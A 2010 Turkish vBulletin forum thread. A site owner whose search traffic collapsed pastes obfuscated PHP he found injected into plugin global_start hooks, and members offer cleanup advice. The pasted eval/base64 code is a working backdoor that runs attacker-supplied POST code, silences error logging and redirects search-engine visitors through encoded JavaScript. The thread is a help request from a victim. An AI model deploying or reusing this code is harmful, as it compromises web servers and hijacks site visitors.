• 21-06-2010, 09:11:47
    #1
    Evet arkadaşlar başlıktadada dediğim gibi 20 k hiti olan sitemin hitleri 300 e kadar düştü dalgalanma falandı filandı derken biraz araştırdım. Plugin lerin içerlerine bi kod atıyorlar global_start olanlara ve bu sayede sitemi isteidkleri yere yönlendiriyolar. google dan gelen ziyaretçiler için. vbseo nun pluginininde bile vardı forumda yazdım. şifreleri felan değiş dediler dediklerini yaptım. O kodları kaldırınca hitim 2000 lere kadar çıkmıştı. Fakat dün tekrar bir bakınayım dedim bu seferde başka bi pluginin global_start bölümünde o kodu buldum. Ne yapacam bundan kurtulmak için arkadaşlar. Kodlar aşağıdaki gibi. Ayrıca googleda index li sayfalarımda bi acaip şekilde çıkıyor sanırım oda bu yüzden.

    google a site:misafir.net yazarsanız anlayacaksınız. sadece direk mesaja link çıkıyor konuya değil aşağıdaki kodları kaldırdıktan sonra sonra biraz düzeldi ilerki sayfalarda konular normalleşti ama bunu bir şekilde kalıcı bir şekilde çözmem lazım başına böyle bişe gelen varmı veya neler yapmalıyım?



    eval(base64_decode('JHg9bWQ1KCc5aDdyJyk7aWYoaXNzZXQoJF9QT1NUWy     bıdı bıdı bıdı
    eval(base64_decode('JHg9bWQ1KCc5aDdyJyk7aWYoaXNzZXQoJF9QT1NUWyR4XSkpZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkX1BPU1RbJHhdKSkpOw0KaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApO2luaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0K JHI9IWVtcHR5KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gOiBnZXRlbnYoJ0hUVFBfUkVGRVJFUicpOw0KaWYoc3RybGVuKCRyKT4xMCkNCnsNCgkkaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGhuPUBnZXRo
    eval(CHR(36).CHR(120).CHR(61).CHR(39).@b1d343666849f5488637994cc512a61e.CHR(39).CHR(59).@base64_decode('aWYoaXNzZXQoJF9QT1NUWyR4XSkpZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkX1BPU1RbJHhdKSkpO3Vuc2V0KCR4KTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTtpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCiRyPSFlbXB0eSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogZ2V0ZW52KCdIVFRQX1JFRkVSRVInKTsNCmlmKHN0cmxlbigkcik+MTApDQp7DQoJJGlwPSRfU0VSVkVSWydSRU1PVEVfQUREUiddOyRobj1AZ2V0aG9zdGJ5YWRkcigkaXApOw0KCWlmKChzdHJwb3MoJGlwLCc2NS41NS4nKSE9PTApJiYoc3RycG9zKCRobiwnbXNuYm90Jyk9PT1mYWxzZSkpDQoJew0KCQkkcz1hcnJheSgnc2VhcmNoLmxpdmUuY29tJywnd3d3Lmdvb2dsZScsJ3NlYXJjaC55YWhvby5jb20nLCd3d3cuYmluZy5jb20nLCd5YW5kZXgucnUnLCdiYWlkdS5jb20nKTsNCgkJZm9yZWFjaCgkcyBhcyAkZSkNCgkJew0KCQkJaWYoKHN0cnBvcygkciwkZSkhPT1mYWxzZSkmJihlbXB0eSgkX0NPT0tJRVsndmJzcCddKSkpDQoJCQl7DQoJCQkJJGg9c3RydG91cHBlcihzdWJzdHIoQG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLDAsOCkpOw0KCQkJCWRpZSgiPGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiPnZhciB2YnNwPSckaCc7Ii5zdHJfcmVwbGFjZSgnXFwnLCdcXFxcJyxnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnWFZMYmN0b3dFUDBWbXBtT3BMRkRETVlHNHJxZEJKSTJ2VGRwKzJLNUhTRUVPSUR0R0FOdWtQKzlSNlF3bWNwZTdkbXpaeThQVWh1eG9KDQpOMUtzc2tTMmx1QzF2YWMxdlpZN1pUNFpHWGJGZW9jbDBBdlJKdkNEbFhOQmZGU3Qya0paVm5nakZtVVNwRCtWS3cxNjczNXE0c2tuVGFuQg0KVFpjakFUeFNBYkt5cXRkcCtkeTJhWlBXV3A2ek5XQjhtRXZpQ2tXYWg4SWFTaVo3L083S2M4WTd2dExGbWc4UFNVN2NZUkFJdkRlU1JqclENCjJ1NTJGMDNFOGQ5bXRBR05keDhHejNRNHJ3clVYcVFJYXRPbmpXR1F1WXBteVhoL2x4alZ SdEc3ZHFlbFhsbFBBUnNjeEF5eUNiVEFtejl3DQpWMS9XOWtYbE9TTlVRWW5mQUxMcm5pQ3o3bWY3ZzhzVS80L0gvaWtsZWdQdklKcUFlZ09aOFpXdkVSLzhRL1Eva0YrQUhKZTM1aEVsc2tSdg0KdzlpSDM1N05Candnc0lVejdqaWFIZThuZG9OVEh3eGx3NWlyWjd5UmpvM2xBcEFvVzZienpCTjBRaXgveXZLRFBEelM2RC9kZ2hvb1F2Y2QNCjhoTW8wS1JBTlVwckR2MEN5eFJoeGNOUjdwMmk3WkxtdE13K3ZHQjhxQ2FTU2lWaHhUNHgxNFp0MnlJR3VzUWhHMVk4dXdybUdERFZBbmpzDQpPMUpTSXZ0a3ByQmVESGRmQklSZFNOYlJIMTRpZFZIeW9SL1l5dEh3R3h2Wjc1aVQ2ZTMwN1Y5NVRTbFg4TjgyQjlYWFU3TU1ma2ZLY2xLMA0KVHVVRmR0bzdoQ3h0V1ZCODQzMXRNYlVjQVB3TGZoVzhjcTc0amNJMnJyY1NiWFM1V1drS0pOMjRFZjZpUWZTUW5VeGFCTHNCamkrL3J3L0QNClNlRXJyN0lESEJiY0ZmNnFFb3NYUzNwNnNPcWpwWXowTS8xd2d1ZE0vdk9PWkFZRnBlNjgxb2xldVdRNXFyZkpHVWxHaThRTWZlMVl6OUJRJykpKS4iPC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4iKTsNCgkJCX0NCgkJfQ0KCX0gDQp9')); 
  • 21-06-2010, 09:25:38
    #2
    1 Admin Panel yolunuzu değişin
    2 Şifrelerinizi Değişin Kurtulacaksınız
  • 21-06-2010, 09:35:27
    #3
    Global start global.php dosyasında php kod kullanılabilmesi içindir.
    global.php forumun demir dosyasıdır bütün dosyalarda require edilmiştir.
    Global.php dosyanızda birşey göremedim eklentiyi alabilir miyim.
  • 21-06-2010, 09:41:49
    #4
    vBulletinMaster adlı üyeden alıntı: mesajı görüntüle
    Global start global.php dosyasında php kod kullanılabilmesi içindir.
    global.php forumun demir dosyasıdır bütün dosyalarda require edilmiştir.
    Global.php dosyanızda birşey göremedim eklentiyi alabilir miyim.
    her sefer başka bir eklentinin içine atıyor nasıl yapıyorsa.

    önce vbseo nun eklentisinde vardı sonra
    Cyb - Forumhome Sub-Forums Manager 1

    şunda çıktı dünde

    Global Array

    şunda yani istediği eklentiye atıyor sanırım
  • 21-06-2010, 09:59:51
    #5
    Internetabi adlı üyeden alıntı: mesajı görüntüle
    1 Admin Panel yolunuzu değişin
    2 Şifrelerinizi Değişin Kurtulacaksınız
    tavsiyelerinizi uyguladım..
  • 21-06-2010, 10:16:50
    #6
    Eklentiyi bir siteye yükleyip link atar mısınız öm olarak.
  • 21-06-2010, 10:28:13
    #7
    vBulletinMaster adlı üyeden alıntı: mesajı görüntüle
    Eklentiyi bir siteye yükleyip link atar mısınız öm olarak.
    vbulletin eklentileri bunlar plugin anlayamadım tam demek istediğinizi. Sitemde mevcut şuan hepsi zaten

    misafir.net
  • 22-06-2010, 16:18:04
    #8
    Kimlik doğrulama veya yönetimden onay bekliyor.
    valla hocam aynı sorun bende de var adam hitleri katletti, çözümü kolay ama adam devamlı yapıyor, 3-4 gün arayla devamlı. Kalıcı bir çözüm bulamadım, tüm şifreleri değiştim db şifreleri de dahil config dosyasını şifreledim, db izinlerini azalttım, ama adam yinede basıyor kodu.
  • 22-06-2010, 16:34:37
    #9
    hocam yönetici izinlerine bakarmısınız belki normal bir üyeye yönetici izinleri vermiştir. Sizin haberiniz yoktur devamlıda kod ekleyebilir.